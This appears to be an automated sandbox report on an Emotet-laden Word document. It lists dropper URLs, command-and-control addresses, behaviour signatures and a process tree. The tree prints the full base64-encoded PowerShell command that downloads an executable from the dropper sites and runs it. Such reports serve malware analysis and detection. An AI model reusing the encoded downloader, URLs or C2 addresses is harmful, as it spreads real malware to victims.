Analysis

  • max time kernel
    150s
  • max time network
    141s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    13/08/2020, 21:55

General

  • Target
    emotet_e3_a9828c026e45fa8a82d75ec9ad78970c1e5664d13306a3b4e5b501450fa97e9e_2020-08-13__215331._doc.doc
  • Size 228KB
  • Sample200813-btmy53s95a
  • SHA256 a9828c026e45fa8a82d75ec9ad78970c1e5664d13306a3b4e5b501450fa97e9e
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://bisisahabatpetani.com/wp-admin/XwhDFsQyx/

  • exe.dropper

    https://coolcomputers.info/git/05Prdao1p74/

  • exe.dropper

    http://simulations.org/rw_common/ZPdjx/

  • exe.dropper

    http://subwaynut.com/scgi-bin/PPBMmwRY/

  • exe.dropper

    https://fitsaude.com.br/image/y5ejrhg539799/

Extracted

Family
  • emotet

C2
  • 66.61.94.36:80

  • 159.203.232.29:8080

  • 185.86.148.68:443

  • 74.208.173.91:8080

  • 37.70.131.107:80

  • 212.156.133.218:80

  • 81.17.93.134:80

  • 203.153.216.182:7080

  • 115.79.195.246:80

  • 115.165.3.213:80

  • 216.75.37.196:8080

  • 81.214.253.80:443

  • 192.241.220.183:8080

  • 172.96.190.154:8080

  • 195.201.56.70:8080

  • 105.213.67.88:80

  • 50.116.78.109:8080

  • 188.166.25.84:8080

  • 187.64.128.197:80

  • 198.57.203.63:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_a9828c026e45fa8a82d75ec9ad78970c1e5664d13306a3b4e5b501450fa97e9e_2020-08-13__215331._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3068
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABKAEIAUABHAEgAcQBlAGEAPQAnAEsARQBJAEUASwByAHkAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAFUAcgBJAFQAeQBwAGAAUgBgAG8AdABPAGAAQwBvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABKAEQATABGAEUAZABuAGsAIAA9ACAAJwBNAGwAdgB4ACcAOwAkAFkAUABQAFUAUABpAGoAcQA9ACcAVgBXAFQARwBPAHAAYwB6ACcAOwAkAEkASABCAFUAQgBlAHAAawA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAEoARABMAEYARQBkAG4AawArACcALgBlAHgAZQAnADsAJABQAEEAVgBFAEcAcgBlAHMAPQAnAEgAQwBSAEIAUAB4AG4AYwAnADsAJABOAFAAVQBCAEcAZQBrAHQAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBlAEIAYwBsAEkAZQBOAHQAOwAkAFAAWQBBAE8AQQBwAGQAcwA9ACcAaAB0AHQAcABzADoALwAvAGIAaQBzAGkAcwBhAGgAYQBiAGEAdABwAGUAdABhAG4AaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AWAB3AGgARABGAHMAUQB5AHgALwAqAGgAdAB0AHAAcwA6AC8ALwBjAG8AbwBsAGMAbwBtAHAAdQB0AGUAcgBzAC4AaQBuAGYAbwAvAGcAaQB0AC8AMAA1AFAAcgBkAGEAbwAxAHAANwA0AC8AKgBoAHQAdABwADoALwAvAHMAaQBtAHUAbABhAHQAaQBvAG4AcwAuAG8AcgBnAC8AcgB3AF8AYwBvAG0AbQBvAG4ALwBaAFAAZABqAHgALwAqAGgAdAB0AHAAOgAvAC8AcwB1AGIAdwBhAHkAbgB1AHQALgBjAG8AbQAvAHMAYwBnAGkALQBiAGkAbgAvAFAAUABCAE0AbQB3AFIAWQAvACoAaAB0AHQAcABzADoALwAvAGYAaQB0AHMAYQB1AGQAZQAuAGMAbwBtAC4AYgByAC8AaQBtAGEAZwBlAC8AeQA1AGUAagByAGgAZwA1ADMAOQA3ADkAOQAvACcALgAiAHMAUABgAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUQBOAEIAVgBSAHMAbQBpAD0AJwBLAEQAQwBJAFoAbQBiAGYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AVQBCAEoARwBwAHEAcAAgAGkAbgAgACQAUABZAEEATwBBAHAAZABzACkAewB0AHIAeQB7ACQATgBQAFUAQgBHAGUAawB0AC4AIgBkAG8AVwBgAE4ATABvAEEAZABgAEYASQBgAEwAZQAiACgAJABPAFUAQgBKAEcAcABxAHAALAAgACQASQBIAEIAVQBCAGUAcABrACkAOwAkAEEAVABKAFkAUAB3AG4AYgA9ACcASABVAEcAVwBUAG0AcABsACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQASQBIAEIAVQBCAGUAcABrACkALgAiAGwARQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMgA5ADQANAA5ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAEkASABCAFUAQgBlAHAAawApADsAJABUAEoAQwBTAFkAZQB0AHAAPQAnAFkARABFAFoASgBhAG4AaQAnADsAYgByAGUAYQBrADsAJABTAFgARgBJAFAAZQBlAG8APQAnAE8ASwBRAFQATgB6AHQAbQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAEIATABVAFcAaAB2AGQAPQAnAEMAVQBYAFYARgBkAHgAdAAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3688
    • C:\Users\Admin\AppData\Local\Temp\Mlvx.exe
      "C:\Users\Admin\AppData\Local\Temp\Mlvx.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1424
      • C:\Windows\SysWOW64\storage\PeopleAPIs.exe
        "C:\Windows\SysWOW64\storage\PeopleAPIs.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3860

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1424-14-0x0000000002480000-0x000000000248C000-memory.dmp

        memory/3068-4-0x000001B989EDC000-0x000001B989EE1000-memory.dmp

        memory/3068-6-0x000001B98C5A6000-0x000001B98C5BA000-memory.dmp

        memory/3068-7-0x000001B98C5A6000-0x000001B98C5BA000-memory.dmp

        memory/3068-5-0x000001B98C5A6000-0x000001B98C5BA000-memory.dmp

        memory/3068-0-0x00007FF976AE0000-0x00007FF9771A6000-memory.dmp

        memory/3068-3-0x000001B98C453000-0x000001B98C458000-memory.dmp

        memory/3068-2-0x000001B98C453000-0x000001B98C458000-memory.dmp

        memory/3068-1-0x000001B98C453000-0x000001B98C458000-memory.dmp

        memory/3688-8-0x00007FF968EE0000-0x00007FF9698CC000-memory.dmp

        memory/3688-9-0x000001FB8EF30000-0x000001FB8EF31000-memory.dmp

        memory/3688-10-0x000001FBA72A0000-0x000001FBA72A1000-memory.dmp

        memory/3860-17-0x0000000002280000-0x000000000228C000-memory.dmp